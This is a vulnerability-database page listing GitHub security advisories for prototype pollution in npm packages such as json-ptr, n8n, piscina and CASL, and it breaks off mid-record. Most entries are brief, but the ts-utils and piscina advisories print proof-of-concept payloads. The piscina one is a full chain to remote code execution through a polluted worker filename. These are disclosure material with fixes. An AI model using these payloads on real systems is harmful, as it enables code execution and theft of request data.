Common Weakness Enumeration

CWE-1321

Allowed

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Abstraction: Variant · Status: Incomplete

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.

783 vulnerabilities reference this CWE, most recent first.

GHSA-X5R6-X823-9848

Vulnerability from github – Published: 2021-05-10 19:15 – Updated: 2023-09-05 22:44
VLAI
Summary
Arbitrary Code Execution in json-ptr
Details

npm json-ptr before 2.1.0 has an arbitrary code execution vulnerability. The issue occurs in the set operation when the force flag is set to true. The function recursively set the property in the target object, however it does not properly check the key being set, leading to a prototype pollution.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "json-ptr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7766"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-400",
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-19T23:01:34Z",
    "nvd_published_at": "2020-11-10T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "npm `json-ptr` before 2.1.0 has an arbitrary code execution vulnerability. The issue occurs in the [set operation](https://flitbit.github.io/json-ptr/classes/_src_pointer_.jsonpointer.htmlset) when the force flag is set to true. The function recursively set the property in the target object, however it does not properly check the key being set, leading to a prototype pollution.",
  "id": "GHSA-x5r6-x823-9848",
  "modified": "2023-09-05T22:44:45Z",
  "published": "2021-05-10T19:15:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7766"
    },
    {
      "type": "WEB",
      "url": "https://github.com/418sec/json-ptr/pull/3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flitbit/json-ptr/commit/2539e3494c80af1eef24f0f433654a61f255f011"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flitbit/json-ptr/blob/master/src/util.ts%23L174"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1038396"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-JSONPTR-1016939"
    },
    {
      "type": "WEB",
      "url": "https://www.huntr.dev/bounties/2-npm-json-ptr"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/json-ptr"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Arbitrary Code Execution in json-ptr"
}

GHSA-X6HX-7GH3-3Q98

Vulnerability from github – Published: 2021-09-02 17:09 – Updated: 2021-08-25 18:25
VLAI
Summary
Prototype Pollution in mootools
Details

This affects all versions of package mootools. This is due to the ability to pass untrusted input to Object.merge()

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "mootools"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23432"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-08-25T18:25:11Z",
    "nvd_published_at": "2021-08-24T09:15:00Z",
    "severity": "MODERATE"
  },
  "details": "This affects all versions of package mootools. This is due to the ability to pass untrusted input to Object.merge()",
  "id": "GHSA-x6hx-7gh3-3q98",
  "modified": "2021-08-25T18:25:11Z",
  "published": "2021-09-02T17:09:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23432"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vsviridov/mootools-node"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-MOOTOOLS-1325536"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in mootools"
}

GHSA-X6P3-M6H9-FX7R

Vulnerability from github – Published: 2026-06-16 22:38 – Updated: 2026-06-16 22:38
VLAI
Summary
n8n: Microsoft SQL Node Prototype Pollution
Details

Impact

An authenticated user with permission to create or modify workflows could achieve global prototype pollution via the Microsoft SQL node by supplying a crafted value as the table parameter. This pollutes Object.prototype process-wide for the lifetime of the n8n server process, causing application-wide validation failures and rendering the n8n instance completely non-functional until restarted.

Patches

The issue has been fixed in n8n version 2.24.0. Users should upgrade to this version or later to remediate the vulnerability.

Workarounds

If upgrading is not immediately possible, administrators should consider the following temporary mitigations: - Limit workflow creation and editing permissions to fully trusted users only. - Disable the Microsoft SQL node by adding n8n-nodes-base.microsoftSql to the NODES_EXCLUDE environment variable.

These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54312"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T22:38:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Impact\nAn authenticated user with permission to create or modify workflows could achieve global prototype pollution via the Microsoft SQL node by supplying a crafted value as the table parameter. This pollutes `Object.prototype` process-wide for the lifetime of the n8n server process, causing application-wide validation failures and rendering the n8n instance completely non-functional until restarted.\n\n## Patches\nThe issue has been fixed in n8n version 2.24.0. Users should upgrade to this version or later to remediate the vulnerability.\n\n## Workarounds\nIf upgrading is not immediately possible, administrators should consider the following temporary mitigations:\n- Limit workflow creation and editing permissions to fully trusted users only.\n- Disable the Microsoft SQL node by adding `n8n-nodes-base.microsoftSql` to the `NODES_EXCLUDE` environment variable.\n\nThese workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.",
  "id": "GHSA-x6p3-m6h9-fx7r",
  "modified": "2026-06-16T22:38:52Z",
  "published": "2026-06-16T22:38:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-x6p3-m6h9-fx7r"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/n8n-io/n8n"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "n8n: Microsoft SQL Node Prototype Pollution"
}

GHSA-X72J-HV9F-QQH4

Vulnerability from github – Published: 2026-05-07 18:30 – Updated: 2026-05-12 16:18
VLAI
Summary
parse-ini is vulnerable to Prototype Pollution in index.js()
Details

npm package parse-ini v1.0.6 is vulnerable to Prototype Pollution in index.js().

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-ini"
      },
      "versions": [
        "1.0.6"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-63703"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-12T16:18:45Z",
    "nvd_published_at": "2026-05-07T16:16:17Z",
    "severity": "CRITICAL"
  },
  "details": "npm package parse-ini v1.0.6 is vulnerable to Prototype Pollution in index.js().",
  "id": "GHSA-x72j-hv9f-qqh4",
  "modified": "2026-05-12T16:18:45Z",
  "published": "2026-05-07T18:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-63703"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/6en6ar/bdc8e0d472406ab98431f10273cbdbf3"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/parse-ini?activeTab=code"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "parse-ini is vulnerable to Prototype Pollution in index.js()"
}

GHSA-X7J8-49R8-MR43

Vulnerability from github – Published: 2026-05-21 21:41 – Updated: 2026-05-21 21:41
VLAI
Summary
@nevware21/ts-utils: Prototype Pollution in objDeepCopy/objCopyProps via for...in without hasOwnProperty
Details

Summary

The _copyProps function in lib/src/object/copy.ts uses for...in to iterate over source object properties without an Object.hasOwnProperty check, and does not filter dangerous keys (proto, constructor, prototype). This allows an attacker to pollute the prototype chain of all objects in the application.

Details

In _copyProps() (copy.ts lines 186-191), the code iterates all enumerable properties including inherited ones and dangerous keys like proto. Any object with a proto key (e.g., from untrusted JSON input) will overwrite the target's prototype.

PoC

const malicious = JSON.parse('{"__proto__": {"polluted": true}}');
objDeepCopy(malicious);
console.log({}.polluted); // true

Suggested Fix

Add objHasOwnProperty check and filter proto, constructor, prototype keys.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.13.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@nevware21/ts-utils"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46681"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-21T21:41:36Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe _copyProps function in lib/src/object/copy.ts uses for...in to iterate over source object properties without an Object.hasOwnProperty check, and does not filter dangerous keys (__proto__, constructor, prototype). This allows an attacker to pollute the prototype chain of all objects in the application.\n\n## Details\n\nIn _copyProps() (copy.ts lines 186-191), the code iterates all enumerable properties including inherited ones and dangerous keys like __proto__. Any object with a __proto__ key (e.g., from untrusted JSON input) will overwrite the target\u0027s prototype.\n\n## PoC\n```\nconst malicious = JSON.parse(\u0027{\"__proto__\": {\"polluted\": true}}\u0027);\nobjDeepCopy(malicious);\nconsole.log({}.polluted); // true\n```\n## Suggested Fix\n\nAdd objHasOwnProperty check and filter __proto__, constructor, prototype keys.",
  "id": "GHSA-x7j8-49r8-mr43",
  "modified": "2026-05-21T21:41:36Z",
  "published": "2026-05-21T21:41:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nevware21/ts-utils/security/advisories/GHSA-x7j8-49r8-mr43"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nevware21/ts-utils"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@nevware21/ts-utils: Prototype Pollution in objDeepCopy/objCopyProps via for...in without hasOwnProperty"
}

GHSA-X7Q7-FCHV-8H2J

Vulnerability from github – Published: 2026-05-14 20:55 – Updated: 2026-06-09 10:23
VLAI
Summary
@ranfdev/deepobj has a Prototype Pollution vulnerability
Details

Impact

Prototype pollution is possible when property paths contain __proto__/constructor/prototype. The property path must not be exposed as user input.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@ranfdev/deepobj"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46509"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:55:24Z",
    "nvd_published_at": "2026-05-28T19:16:39Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nPrototype pollution is possible when property paths contain `__proto__`/`constructor`/`prototype`. The property path must not be exposed as user input.",
  "id": "GHSA-x7q7-fchv-8h2j",
  "modified": "2026-06-09T10:23:26Z",
  "published": "2026-05-14T20:55:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ranfdev/deepobj/security/advisories/GHSA-x7q7-fchv-8h2j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46509"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ranfdev/deepobj"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@ranfdev/deepobj has a Prototype Pollution vulnerability"
}

GHSA-X9G3-XRWR-CWFG

Vulnerability from github – Published: 2026-06-18 13:05 – Updated: 2026-06-18 13:05
VLAI
Summary
piscina: Prototype Pollution Gadget → RCE via inherited options.filename
Details

Summary

piscina's constructor and run() paths read the filename option via plain member access:

// dist/index.js line 92 (constructor)
const filename = options.filename
  ? (0, common_1.maybeFileURLToPath)(options.filename)
  : null;
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };

// dist/index.js line 616 (run())
run(task, options = kDefaultRunOptions) {
    if (options === null || typeof options !== 'object') {
        return Promise.reject(new TypeError('options must be an object'));
    }
    const { transferList, filename, name, signal } = options;

Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream — by any of the well-documented PP-source CVEs (lodash<4.17.13, qs<6.10.3, set-value<4.1.0, minimist<1.2.6, deepmerge<4.2.2, and others) — the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker.

Subtlety: calling pool.run(task) with no second arg uses kDefaultRunOptions which has filename: null as an OWN property — that path DOES NOT fire. The vulnerable shape is when the caller passes their own options object (commonly {signal: ac.signal} for abort support, {name: ...} for task labelling, etc.). These caller-built options objects inherit from Object.prototype unless the caller explicitly uses Object.create(null).

Impact

Two preconditions:

  1. Upstream PP-source somewhere in the process — common in transitive deps
  2. Attacker-controllable .mjs at a known filesystem path — realistic via upload endpoints, /tmp races, predictable node_modules paths, or supply-chain

Once both fire: - Every pool.run(task, opts) call across the entire process is hijacked - Attacker's exported function is called with the legitimate caller's task data — attacker reads per-request app data - Attacker controls the return value — caller receives worker_response.by = "ATTACKER-WORKER" and any other attacker-supplied response fields — attacker can poison return values to legitimate clients - Hijack persists until process restart

Strictly worse than the analogous pino chain because piscina actually invokes the attacker function with caller data on every dispatch (pino imports the attacker module once and errors out).

Affected versions

Empirically verified vulnerable on piscina@5.1.4 (latest stable at time of disclosure). The bug shape is in the constructor's options.filename read at line 92 of dist/index.js, present since the worker-pool API stabilized — likely all 3.x / 4.x / 5.x affected.

Proof of concept

A) Minimal in-process PoC

import fs from 'fs';

// 1) Drop the attacker module (any path the victim process can read)
fs.writeFileSync('/tmp/atk.mjs', `
  import fs from 'fs';
  fs.writeFileSync('/tmp/PISCINA_RCE_SENTINEL', JSON.stringify({
    rce: 'CONFIRMED', pid: process.pid, argv1: process.argv[1],
  }));
  export default function(arg) { return 'attacker-return-' + JSON.stringify(arg); }
`);

// 2) Upstream PP-source — pollute Object.prototype.filename
//    (representative of CVE-2019-10744 lodash<4.17.13, CVE-2022-24999 qs<6.10.3,
//     and ~30 historical PP-source CVEs)
const payload = JSON.parse('{"__proto__":{"filename":"/tmp/atk.mjs"}}');
function vulnMerge(t, s) {
  for (const k of Object.keys(s)) {
    if (s[k] !== null && typeof s[k] === 'object') {
      if (!t[k]) t[k] = {};
      vulnMerge(t[k], s[k]);
    } else t[k] = s[k];
  }
}
vulnMerge({}, payload);

// 3) Piscina with empty options inherits the polluted filename
const { Piscina } = await import('piscina');
const p = new Piscina({});                        // inherits filename
const result = await p.run({});                   // worker imports /tmp/atk.mjs
await p.destroy();

// 4) sentinel exists; attacker fn was called with task data
console.log(fs.readFileSync('/tmp/PISCINA_RCE_SENTINEL', 'utf8'));
console.log('attacker fn returned:', result);
// → "attacker-return-{}"

B) Full-stack HTTP chain (this is the realistic shape)

A correctly-initialized pool gets hijacked by attacker activity. Pool is created at server boot with a legitimate worker, then per-request handlers call pool.run(req.body, {signal: ac.signal}) — the standard abort-aware shape.

// === server.mjs ===
import express from 'express';
import { Piscina } from 'piscina';

// Vulnerable PP-source middleware (lodash<4.17.13 equivalent)
function vulnMerge(t, s) {
  for (const k of Object.keys(s)) {
    if (s[k] !== null && typeof s[k] === 'object') {
      if (!t[k]) t[k] = {};
      vulnMerge(t[k], s[k]);
    } else t[k] = s[k];
  }
}

// CORRECT pool init at boot
const pool = new Piscina({
  filename: './valid-worker.mjs',
  minThreads: 1, maxThreads: 2,
});

const config = {};
const app = express();

app.post('/api/settings', express.json(), (req, res) => {
  vulnMerge(config, req.body);                    // PP source
  res.json({ ok: true });
});

app.post('/api/process', express.json(), async (req, res) => {
  const ac = new AbortController();
  const result = await pool.run(req.body, { signal: ac.signal });  // <-- hijacked
  res.json({ ok: true, worker_response: result });
});

app.listen(7755);

// === Attacker, 3 HTTP requests ===
// POST /upload  → drops /tmp/atk.mjs
// POST /api/settings with body: {"__proto__":{"filename":"/tmp/atk.mjs"}}
// POST /api/process → pool.run() destructures filename via prototype
//                  → worker imports /tmp/atk.mjs
//                  → attacker fn called with req.body of THIS request
//                  → caller receives attacker-shaped response

Empirical observation on piscina@5.1.4 + Node 23.11.0: - Pre-attack /api/process returns {by: 'valid-worker'} - Cold-path /probe after PP source confirms ({}).filename is polluted process-wide - Post-attack /api/process returns {by: 'ATTACKER-WORKER', processed: <caller's exfil data>} - Sentinel file written from inside piscina/dist/worker.js with the worker process's uid + env access

Recommended fix

Minimal — own-property guard at both option-read sites:

// constructor (line 92)
const userFilename = Object.prototype.hasOwnProperty.call(options, 'filename')
  ? options.filename
  : null;
const filename = userFilename
  ? (0, common_1.maybeFileURLToPath)(userFilename)
  : null;

// run() (line 616)
const safeOpts = Object.create(null);
Object.assign(safeOpts, options);          // copies own props only? — keeps shape
const { transferList, filename, name, signal } = safeOpts;

More idiomatic — use a null-prototype working object throughout this.options:

const safeOpts = Object.create(null);
Object.assign(safeOpts, kDefaultOptions, options);
this.options = safeOpts;
this.options.filename = safeOpts.filename
  ? (0, common_1.maybeFileURLToPath)(safeOpts.filename)
  : null;
this.options.maxQueue = 0;

Either approach closes the gadget without breaking any legitimate caller pattern.

The pattern is the same as recommended for axios CVE-2026-44494 and the pino PSA filed earlier today. Cross-fix consideration: any other library you maintain that uses similar options.X member-access for worker / child-process / module-load operations is worth a quick audit.

Coordination

  • Same maintainer as pino — you're already in security-triage mode for that PSA. Happy to coordinate timing / disclosure dates across both.
  • Will not share publicly until GHSA published or 90 days.
  • Please credit ridingsa if you choose to credit a reporter.

How this was discovered

Generalized the pino disclosure's mechanism — any library that reads a string option via plain member access and dynamic-loads it (via import() / require() / new Worker()) is a candidate. Ran a sweep across 10 candidate libraries; piscina + fastify (via pino propagation) fired. Piscina is independently vulnerable through its own option-read sites, hence this separate disclosure.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.1.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "piscina"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-alpha.0"
            },
            {
              "fixed": "5.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.9.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "piscina"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "piscina"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0-rc.1"
            },
            {
              "fixed": "6.0.0-rc.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55388"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:05:11Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`piscina`\u0027s constructor and `run()` paths read the `filename` option via plain member access:\n\n```js\n// dist/index.js line 92 (constructor)\nconst filename = options.filename\n  ? (0, common_1.maybeFileURLToPath)(options.filename)\n  : null;\nthis.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };\n\n// dist/index.js line 616 (run())\nrun(task, options = kDefaultRunOptions) {\n    if (options === null || typeof options !== \u0027object\u0027) {\n        return Promise.reject(new TypeError(\u0027options must be an object\u0027));\n    }\n    const { transferList, filename, name, signal } = options;\n```\n\nBoth reads fall through the prototype chain when the caller\u0027s options object doesn\u0027t have `filename` as an own property. When `Object.prototype.filename` is polluted upstream \u2014 by any of the well-documented PP-source CVEs (lodash\u003c4.17.13, qs\u003c6.10.3, set-value\u003c4.1.0, minimist\u003c1.2.6, deepmerge\u003c4.2.2, and others) \u2014 the inherited value flows to `worker_threads.Worker` import and the attacker\u0027s `.mjs` runs in the worker.\n\n**Subtlety**: calling `pool.run(task)` with no second arg uses `kDefaultRunOptions` which has `filename: null` as an OWN property \u2014 that path DOES NOT fire. The vulnerable shape is when the caller passes their own options object (commonly `{signal: ac.signal}` for abort support, `{name: ...}` for task labelling, etc.). These caller-built options objects inherit from `Object.prototype` unless the caller explicitly uses `Object.create(null)`.\n\n## Impact\n\nTwo preconditions:\n\n1. **Upstream PP-source** somewhere in the process \u2014 common in transitive deps\n2. **Attacker-controllable `.mjs`** at a known filesystem path \u2014 realistic via upload endpoints, /tmp races, predictable node_modules paths, or supply-chain\n\nOnce both fire:\n- Every `pool.run(task, opts)` call across the entire process is hijacked\n- Attacker\u0027s exported function is called with the legitimate caller\u0027s task data \u2014 **attacker reads per-request app data**\n- Attacker controls the return value \u2014 caller receives `worker_response.by = \"ATTACKER-WORKER\"` and any other attacker-supplied response fields \u2014 **attacker can poison return values to legitimate clients**\n- Hijack persists until process restart\n\nStrictly worse than the analogous pino chain because piscina actually *invokes* the attacker function with caller data on every dispatch (pino imports the attacker module once and errors out).\n\n## Affected versions\n\nEmpirically verified vulnerable on `piscina@5.1.4` (latest stable at time of disclosure). The bug shape is in the constructor\u0027s `options.filename` read at line 92 of `dist/index.js`, present since the worker-pool API stabilized \u2014 likely all 3.x / 4.x / 5.x affected.\n\n## Proof of concept\n\n### A) Minimal in-process PoC\n\n```js\nimport fs from \u0027fs\u0027;\n\n// 1) Drop the attacker module (any path the victim process can read)\nfs.writeFileSync(\u0027/tmp/atk.mjs\u0027, `\n  import fs from \u0027fs\u0027;\n  fs.writeFileSync(\u0027/tmp/PISCINA_RCE_SENTINEL\u0027, JSON.stringify({\n    rce: \u0027CONFIRMED\u0027, pid: process.pid, argv1: process.argv[1],\n  }));\n  export default function(arg) { return \u0027attacker-return-\u0027 + JSON.stringify(arg); }\n`);\n\n// 2) Upstream PP-source \u2014 pollute Object.prototype.filename\n//    (representative of CVE-2019-10744 lodash\u003c4.17.13, CVE-2022-24999 qs\u003c6.10.3,\n//     and ~30 historical PP-source CVEs)\nconst payload = JSON.parse(\u0027{\"__proto__\":{\"filename\":\"/tmp/atk.mjs\"}}\u0027);\nfunction vulnMerge(t, s) {\n  for (const k of Object.keys(s)) {\n    if (s[k] !== null \u0026\u0026 typeof s[k] === \u0027object\u0027) {\n      if (!t[k]) t[k] = {};\n      vulnMerge(t[k], s[k]);\n    } else t[k] = s[k];\n  }\n}\nvulnMerge({}, payload);\n\n// 3) Piscina with empty options inherits the polluted filename\nconst { Piscina } = await import(\u0027piscina\u0027);\nconst p = new Piscina({});                        // inherits filename\nconst result = await p.run({});                   // worker imports /tmp/atk.mjs\nawait p.destroy();\n\n// 4) sentinel exists; attacker fn was called with task data\nconsole.log(fs.readFileSync(\u0027/tmp/PISCINA_RCE_SENTINEL\u0027, \u0027utf8\u0027));\nconsole.log(\u0027attacker fn returned:\u0027, result);\n// \u2192 \"attacker-return-{}\"\n```\n\n### B) Full-stack HTTP chain (this is the realistic shape)\n\nA correctly-initialized pool gets hijacked by attacker activity. Pool is created at server boot with a legitimate worker, then per-request handlers call `pool.run(req.body, {signal: ac.signal})` \u2014 the standard abort-aware shape.\n\n```js\n// === server.mjs ===\nimport express from \u0027express\u0027;\nimport { Piscina } from \u0027piscina\u0027;\n\n// Vulnerable PP-source middleware (lodash\u003c4.17.13 equivalent)\nfunction vulnMerge(t, s) {\n  for (const k of Object.keys(s)) {\n    if (s[k] !== null \u0026\u0026 typeof s[k] === \u0027object\u0027) {\n      if (!t[k]) t[k] = {};\n      vulnMerge(t[k], s[k]);\n    } else t[k] = s[k];\n  }\n}\n\n// CORRECT pool init at boot\nconst pool = new Piscina({\n  filename: \u0027./valid-worker.mjs\u0027,\n  minThreads: 1, maxThreads: 2,\n});\n\nconst config = {};\nconst app = express();\n\napp.post(\u0027/api/settings\u0027, express.json(), (req, res) =\u003e {\n  vulnMerge(config, req.body);                    // PP source\n  res.json({ ok: true });\n});\n\napp.post(\u0027/api/process\u0027, express.json(), async (req, res) =\u003e {\n  const ac = new AbortController();\n  const result = await pool.run(req.body, { signal: ac.signal });  // \u003c-- hijacked\n  res.json({ ok: true, worker_response: result });\n});\n\napp.listen(7755);\n\n// === Attacker, 3 HTTP requests ===\n// POST /upload  \u2192 drops /tmp/atk.mjs\n// POST /api/settings with body: {\"__proto__\":{\"filename\":\"/tmp/atk.mjs\"}}\n// POST /api/process \u2192 pool.run() destructures filename via prototype\n//                  \u2192 worker imports /tmp/atk.mjs\n//                  \u2192 attacker fn called with req.body of THIS request\n//                  \u2192 caller receives attacker-shaped response\n```\n\nEmpirical observation on `piscina@5.1.4` + Node 23.11.0:\n- Pre-attack `/api/process` returns `{by: \u0027valid-worker\u0027}`\n- Cold-path `/probe` after PP source confirms `({}).filename` is polluted process-wide\n- Post-attack `/api/process` returns `{by: \u0027ATTACKER-WORKER\u0027, processed: \u003ccaller\u0027s exfil data\u003e}`\n- Sentinel file written from inside `piscina/dist/worker.js` with the worker process\u0027s uid + env access\n\n## Recommended fix\n\nMinimal \u2014 own-property guard at both option-read sites:\n\n```js\n// constructor (line 92)\nconst userFilename = Object.prototype.hasOwnProperty.call(options, \u0027filename\u0027)\n  ? options.filename\n  : null;\nconst filename = userFilename\n  ? (0, common_1.maybeFileURLToPath)(userFilename)\n  : null;\n\n// run() (line 616)\nconst safeOpts = Object.create(null);\nObject.assign(safeOpts, options);          // copies own props only? \u2014 keeps shape\nconst { transferList, filename, name, signal } = safeOpts;\n```\n\nMore idiomatic \u2014 use a null-prototype working object throughout `this.options`:\n\n```js\nconst safeOpts = Object.create(null);\nObject.assign(safeOpts, kDefaultOptions, options);\nthis.options = safeOpts;\nthis.options.filename = safeOpts.filename\n  ? (0, common_1.maybeFileURLToPath)(safeOpts.filename)\n  : null;\nthis.options.maxQueue = 0;\n```\n\nEither approach closes the gadget without breaking any legitimate caller pattern.\n\nThe pattern is the same as recommended for axios CVE-2026-44494 and the pino PSA filed earlier today. Cross-fix consideration: any other library you maintain that uses similar `options.X` member-access for worker / child-process / module-load operations is worth a quick audit.\n\n## Coordination\n\n- Same maintainer as pino \u2014 you\u0027re already in security-triage mode for that PSA. Happy to coordinate timing / disclosure dates across both.\n- Will not share publicly until GHSA published or 90 days.\n- Please credit `ridingsa` if you choose to credit a reporter.\n\n## How this was discovered\n\nGeneralized the pino disclosure\u0027s mechanism \u2014 any library that reads a string option via plain member access and dynamic-loads it (via `import()` / `require()` / `new Worker()`) is a candidate. Ran a sweep across 10 candidate libraries; piscina + fastify (via pino propagation) fired. Piscina is independently vulnerable through its own option-read sites, hence this separate disclosure.",
  "id": "GHSA-x9g3-xrwr-cwfg",
  "modified": "2026-06-18T13:05:11Z",
  "published": "2026-06-18T13:05:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/piscinajs/piscina/security/advisories/GHSA-x9g3-xrwr-cwfg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/piscinajs/piscina"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "piscina: Prototype Pollution Gadget \u2192 RCE via inherited options.filename"
}

GHSA-X9VF-53Q3-CVX6

Vulnerability from github – Published: 2026-02-10 18:30 – Updated: 2026-02-11 19:09
VLAI
Summary
CASL Ability is Vulnerable to Prototype Pollution
Details

CASL Ability, versions 2.4.0 through 6.7.4, contains a prototype pollution vulnerability.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.7.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@casl/ability"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "6.7.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-1774"
  ],
